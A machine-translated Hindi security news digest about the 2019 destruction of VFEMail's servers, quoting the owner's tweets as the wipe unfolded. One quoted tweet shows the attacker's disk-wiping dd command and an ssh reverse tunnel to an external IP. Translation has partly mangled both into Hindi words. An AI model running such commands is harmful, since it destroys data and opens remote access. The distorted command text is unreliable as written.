👩‍👧‍👧 🔸 👩🏾‍🤝‍👩🏼 सुरक्षा सप्ताह 08: हैकिंग VFEMail लाइव 🏡 👩‍🎓 🙆🏼

सॉफ्टवेयर और हार्डवेयर में गंभीर कमजोरियों के बारे में खबरें हर हफ्ते आती हैं। केवल पिछले सात दिनों में यह Vkontakte सामाजिक नेटवर्क में XSS के संचालन के बारे में बताया गया था, विंडोज में शून्य-दिवस के उन्मूलन के बारे में, और कुछ समय पहले एंड्रॉइड में एक बग को बंद कर दिया गया था, जो एक तैयार PNG छवि के साथ फोन को क्रैक करने की अनुमति देता है। लेकिन हम शायद ही कभी इन कमजोरियों के शोषण के परिणाम देखते हैं: प्रभावित कंपनियों, स्पष्ट कारणों से, इस तरह की जानकारी साझा करने की कोई जल्दी नहीं है। यहां तक कि कम अक्सर, आप हमले का परिणाम लगभग लाइव देख सकते हैं, जो पिछले सप्ताह VFEMail ईमेल सेवा के साथ हुआ था।

इस सेवा की स्थापना 2001 में संयुक्त राज्य के एक निवासी द्वारा की गई थी, और तब से निजी ग्राहकों को सेवा दी है (यह मुफ्त में पत्रों के लिए केवल 50 मेगाबाइट स्थान की पेशकश करता है) और अपने स्वयं के डोमेन पर संगठन। 2015 में, उन्हें रैंसमवेयर के शिकार के रूप में प्रोटॉनमेल सुरक्षित मेल सेवा के साथ उल्लेख किया गया था - सेवा के मालिक ने डीडीओएस हमले के आयोजकों की आवश्यकता के लिए पांच बिटकॉइन का भुगतान करने का हवाला दिया । 11 फरवरी को, प्रारंभिक खतरों के बिना, हमलावरों ने सभी मुख्य और बैकअप VFEMail सर्वरों पर जानकारी मिटा दी, सचमुच कुछ ही घंटों में कंपनी के व्यवसाय को नष्ट कर दिया।

मेल सेवा टैरिफ की सूची में, सबसे महंगा विकल्प प्रति वर्ष $ 50 के लिए 15 गीगाबाइट (साइट पर 20, कहीं और रीडिंग भिन्न) प्रदान करता है - उतना ही जितना मुफ्त में Google मेल देता है। या मेल के 1 गीगाबाइट के लिए $ 25 का एक बार भुगतान। भुगतान को क्रिप्टोक्यूरेंसी में स्वीकार किया जाता है। VFEMail खुद को सुरक्षित मेल के रूप में स्थिति नहीं देता है, स्पैम को फ़िल्टर करने, वायरस अटैचमेंट की जांच करने और ईमेल कार्यक्रमों तक पहुंचने जैसे काफी मानक विकल्प प्रदान करता है। और अधिक: "हम आपको विज्ञापन बेचने के लिए आपके पत्र नहीं पढ़ते हैं।"

सामान्य तौर पर, यह उन लोगों के लिए एक मेल था जो सौ साल पहले एक मेलबॉक्स खोलते थे और तब से कहीं और स्थानांतरित करने के लिए बहुत आलसी हैं। पूरी तरह से काम करने वाली योजना, अगर 11 फरवरी की घटनाओं के लिए नहीं। यह सब मेल सेवा के ट्विटर पर इस पोस्ट के साथ शुरू हुआ: मालिक ने देखा कि उसे गंभीर समस्याएं थीं।

यह अच्छा नहीं लग रहा है। बाह्य रूप से सामना करने वाले सभी सिस्टम, अलग-अलग ओएस के और दूरस्थ प्रमाणीकरण, कई डेटा केंद्रों में नीचे हैं।
- VFEmail.net (@VFEmail) 11 फरवरी, 2019

दो घंटे बाद, एक सर्वर पर, मालिक ने लाइव देखा, क्योंकि हमलावर डेटा मिटा देता है:

बैकअप सर्वर को स्वरूपित करने के बीच में गड़बड़ी को पकड़ा:
dd if = / dev / zero of = / dev / da0 bs = 4194304 चाहना = 1024 गणन = 399559
के माध्यम से: ssh -v -oStrictHostKeyChecking = no -oLogLevel = error -oUserKnownHostsFile = / dev / null aktv@94.155.49.9 -R 127.0.0.1 {0081: 127.0.0.1: 22 -N -N
- VFEmail.net (@VFEmail) 11 फरवरी, 2019

मेल सेवा पर हमला बुल्गारियाई आईपी से किया गया था, जो एक किराए की आभासी मशीन से सबसे अधिक संभावना थी। कुछ मिनटों के बाद, यह स्पष्ट हो गया कि यह केवल हमला किया गया सर्वर नहीं था:

nl101 ऊपर है, लेकिन कोई आवक ईमेल नहीं है। मुझे डर है कि सभी यूएस आधारित डेटा खो सकते हैं।
- VFEmail.net (@VFEmail) 11 फरवरी, 2019

एक घंटे बाद, सेवा के संस्थापक संभवतः सभी उपयोगकर्ता डेटा के पूर्ण नुकसान का निदान करेंगे:

यह सब मैं इस समय कर सकता हूं। मुझे यह देखने के लिए डेटासेंटर में जाने की आवश्यकता होगी कि क्या फॉर्मेटिंग के दौरान मैंने जो एक फाइल सर्वर पकड़ा है, उसे रिकवर किया जा सकता है। यदि यह हो सकता है, तो हम मेल को पुनर्स्थापित कर सकते हैं, लेकिन अधिकांश बुनियादी ढाँचा खो जाता है।
- VFEmail.net (@VFEmail) 11 फरवरी, 2019

अलग-अलग देशों में विभिन्न साइटों पर कई सर्वरों पर एक साथ हमला किया गया था। VFEMail के मालिक के अनुसार, सर्वरों पर विभिन्न तरीकों और प्राधिकरण कुंजियों का उपयोग किया गया था, और फिर भी उन्हें हैक किया गया था, इसके बाद डेटा विनाश, लगभग एक साथ। डाउनटाइम के एक सप्ताह के बाद, सेवा मालिक 2016 के लिए डेटा के साथ एक सर्वर को पुनर्स्थापित करने में कामयाब रहा:

अगस्त 2016 से पहले के मेलबॉक्स अब https://t.co/HOlNUYmbdo पोर्ट 1144 पर उपलब्ध हैं
आप अपने स्वयं के मेल क्लाइंट को इंगित कर सकते हैं, या होर्ड प्रीफ़ में एक दूरस्थ खाते को कॉन्फ़िगर कर सकते हैं
उन्नत पर क्लिक करें, फिर दर्ज करें:
नाम, सुरक्षित अगर Avail, IMAP, localhost, your_vfemail_login, 1144
- VFEmail.net (@VFEmail) 18 फरवरी, 2019

2015 में डीडीओएस हमले के साथ स्थिति के विपरीत, ब्लिपिंग कंप्यूटर वेबसाइट पर एक टिप्पणी में, ईमेल सेवा के संस्थापक और एकमात्र मालिक रिक रोमेरो ने कहा कि उन्हें किसी से कोई धमकी नहीं मिली। सबसे अधिक संभावना है, सेवा को बहाल नहीं किया जाएगा, हालांकि बाद में ग्राहकों को पिछले दो से अधिक वर्षों से संग्रहीत संदेशों तक पहुंच के बिना मेल प्राप्त करने और भेजने की क्षमता प्रदान की गई थी। पत्रकार ब्रायन क्रेब्स अपने ब्लॉग पर VFEMail कॉर्पोरेट क्लाइंट की गवाही का हवाला देते हैं : ईमेल पत्राचार के दस साल और 60 हजार से अधिक संदेश खो गए थे।

दिलचस्प है, VFEMail वेबसाइट ने अपने स्वयं के मेल की तुलना में एक तृतीय-पक्ष मेल सेवा के पक्ष में एक तर्क दिया: यह अधिक विश्वसनीय है, सभी सुरक्षा सेटिंग्स का पहले से ही ध्यान रखा गया है, और आपको अपने नेटवर्क पर आने वाले कनेक्शनों को स्वीकार करने की आवश्यकता नहीं है।

सभी तर्क सही हैं, हालांकि अंत में "पेशेवर" सेवा पूरी तरह से उपयोगकर्ता आपदा से बच गई - जब पूरे "नेटवर्कयुक्त" बुनियादी ढांचे को नष्ट कर दिया गया था और, सबसे अधिक संभावना है, ऑफ़लाइन बैकअप गायब हैं। ऊपर की टिप्पणी में, सेवा का मालिक बहाल करने से इनकार करने के पक्ष में एक और तर्क देता है: हैक से पहले भी, डाक सेवा विशेष रूप से लाभदायक नहीं थी। प्रतिष्ठा को झटका, बुनियादी ढांचे को बहाल करने की लागत, और सबसे महत्वपूर्ण बात, बाद के डेटा बैकअप और अतिरिक्त सुरक्षा सुविधाओं की लागत व्यवसाय को पूरी तरह से लाभहीन बना देगी।

एक अर्थ में, यह एक दया है। VFEMail इंटरनेट के रोमांटिक युग के अंत में दिखाई दिया, जब मौजूदा दिग्गज सुरक्षा के समान स्तर के साथ गैरेज स्टार्टअप थे। साइबरबैटैक्स के आगे के विकास ने रक्षा लागत को उन सभी के लिए असहनीय बना दिया जो पर्याप्त बड़े बनने का प्रबंधन नहीं करते थे। यद्यपि हम अभी तक यह नहीं जानते हैं कि मेल सेवा को हैक करना कितना संभव था (और शायद हम कभी नहीं जान पाएंगे), यह कहानी एक दुखद उदाहरण है जब कंपनी साइबर हमले को रोकने या इसके परिणामों को दूर करने के लिए तैयार नहीं है। और अगर सबसे बड़ी कंपनियों को पहले बिंदु के साथ समस्या है, तो साइबर सदमे से उबरने में असमर्थता केवल स्थिति है जिसे हर तरह से बचा जाना चाहिए।

डिस्क्लेमर: इस डाइजेस्ट में व्यक्त की गई राय हमेशा कास्परस्की लैब की आधिकारिक स्थिति से मेल नहीं खा सकती है। प्रिय संपादकों आमतौर पर स्वस्थ संदेह के साथ किसी भी राय का इलाज करने की सलाह देते हैं।

सुरक्षा सप्ताह 08: हैकिंग VFEMail लाइव

More articles: